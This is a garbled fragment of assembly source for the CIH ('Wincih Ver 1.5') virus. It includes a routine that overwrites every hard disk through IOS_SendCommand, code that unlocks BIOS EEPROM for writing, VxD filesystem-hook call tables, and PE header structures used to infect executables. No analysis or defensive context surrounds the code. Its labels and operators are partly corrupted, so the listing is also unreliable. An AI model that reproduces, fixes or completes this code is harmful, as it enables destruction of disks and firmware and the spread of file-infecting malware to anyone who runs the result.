; * IOR STRUCTURE OF IOS_SENDCOMMAND NEEDS *
*********************************************************** **
; * ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ??????? *
; * 00 00 00 00 00 00 00 00 00 10 00 c0 *
; * ?? ?? ???????????????????
; * ?? ?? ???????????????????
; * ?? ????????????????????? 80??? *
*********************************************************** **
Killharddisk:
XOR EBX, EBX
MOV BH, FirstkillhardDiskNumber
Push EBX
SUB ESP, 2CH
Push 0C0001000H
MOV BH, 08H
Push EBX
Push ECX
Push ECX
Push ECX
Push 40000501H
Inc ECX
Push ECX
Push ECX
MOV ESI, ESP
SUB ESP, 0ACH
Loopofkillharddisk:
INT 20H
DD 00100004H; vxdcall ios_sendcommand
CMP Word PTR [ESI 06H], 0017H
JE KillNextDataSECTION
ChangenexthardiSK:
Inc Byte PTR [ESI 4DH]
JMP loopofkillharddisk
KillNextDataSecion:
Add DWORD PTR [ESI 10H], EBX
MOV BYTE PTR [ESI 4DH], FirstkillhardDiskNumber
JMP loopofkillharddisk
****************************
* Enable EEPROM to write *
************************* EnableeeProMTowrite:
MOV [EAX], CL
MOV [ECX], Al
MOV BYTE PTR [EAX], 80H
MOV [EAX], CL
MOV [ECX], Al
RET
****************************
; * IO for EEPROM *
****************************
IOFOREPROM:
@ 10 = IOFOREPROM
XCHG Eax, EDI
XCHG EDX, EBP
OUT DX, EAX
XCHG Eax, EDI
XCHG EDX, EBP
IN Al, DX
Booleancalculatecode = $
OR Al, 44h
XCHG Eax, EDI
XCHG EDX, EBP
OUT DX, EAX
XCHG Eax, EDI
XCHG EDX, EBP
Out dx, al
RET
*********************************************************** *********
; * Static Data *
*********************************************************** *********
Lastvxdcalladdress = ifsmgr_ring0_fileio
Vxdcalladdresstable db 00h
DB IFSMGR_RemoveFilesystemapiHook-_PageAllocate
DB Unitobcspath-IFSMGR_RemoveFilesystemapiHook
DB IFSMGR_RING0_FILEIO-UnitObcspath
Vxdcallidtable DD 00010053H, 00400068H, 00400041H, 00400032H
Vxdcalltablesize = ($ -vxdcallidtable) / 04h
*********************************************************** *********
; * Virus Version CopyRight *
*********************************************************** *********
VirusversionCopyright DB 'Wincih Ver 1.5 by Tatung, Thailand'
*********************************************************** *********
; * Virus size *
*********************************************************** *********
Virussize = $
SizeofviruscodeSecionTablendmark (04H)
Numberofsections (??) * SizeofViruscodeSECTIONTABLE (08H)
SizeofthefirstviruscodesectionTable (04H); **************************************************** *************
* Dynamic Data *
*********************************************************** *********
VirusGameDataStartaddress = Virussize
@ 6 = VirusGameDataStartAddress
Onbusy DB 0
FILEMODIFICATIONTIME DD?
FileNameBuffer DB FileNameBuffersize Dup (?)
@ 7 = filenamebuffer
DataBuffer = $
@ 8 = DataBuffer
NUMBEROFSECTIONS DW?
TIMEDATESTAMP DD?
SymbolSpointer DD?
NUMBEROFSYMBOLS DD?
SIZEOFOPTIONALHEADER DW?
_Characteristics DW?
Magic dw?
LinkerVersion DW?
SizeOfCode DD?
SIZEOFINIALIZEDDATA DD?
SIZEOFUNITIALIZEDDATA DD?
AddressofENTRYPOINT DD?
BaseOfCode DD?
BaseOfData DD?
IMAGEBASE DD?
@ 9 = $
SECTIONALIGNMENT DD?
FileAlIgnment DD?
OPERATINGSYSTEMVERSION DD?
ImageVersion dd?
SUBSYSTEMVERSION DD?
RESERVED DD?
SIZEOFIMAGE DD?
SizeOfheaders DD?
SizeOfimageretead = $ -Numberofsections
NewaddressofentryPoint = dataBuffer; DWORD
SizeOfimageHeadertowrite = 04h
STARTOFSECTIONTABLE = @ 9
SectionName = startTable; QWord
Virtualsize = startofsectionTable 08H; DWORD
VirtualAddress = StartofsectionTable 0CH; DWORD
SizeOfrawData = StartofsectionTable 10h; DWordPointertorawData = StartofsectionTable 14H; DWORD
PointertoreLocations = StartofsectionTable 18h; DWORD
PointertolinenumBers = StartofsectionTable 1CH; DWORD
Numberofrelocations = StartofsectionTable 20h; Word
Numberoflinennmbers = StartofsectionTable 22h; Word
Characteristics = StartofsectionTable 24h; DWORD
SizeOfScetionTable = Characteristics 04H-SectionName
*********************************************************** *********
; * Virus Total NEED MEMORY *
*********************************************************** *********
VirusNeedBaseMemory = $
VirustotalneedMemory = @ 9
Numberofsections (??) * SizeOfScetionTable (28H)
SizeofviruscodeSecionTablendmark (04H)
Numberofsections (??) * SizeofViruscodeSECTIONTABLE (08H)
SizeofthefirstViruscodeSECTIONTABLE (04H)
*********************************************************** *********
Virusgame ends
End FileHeader
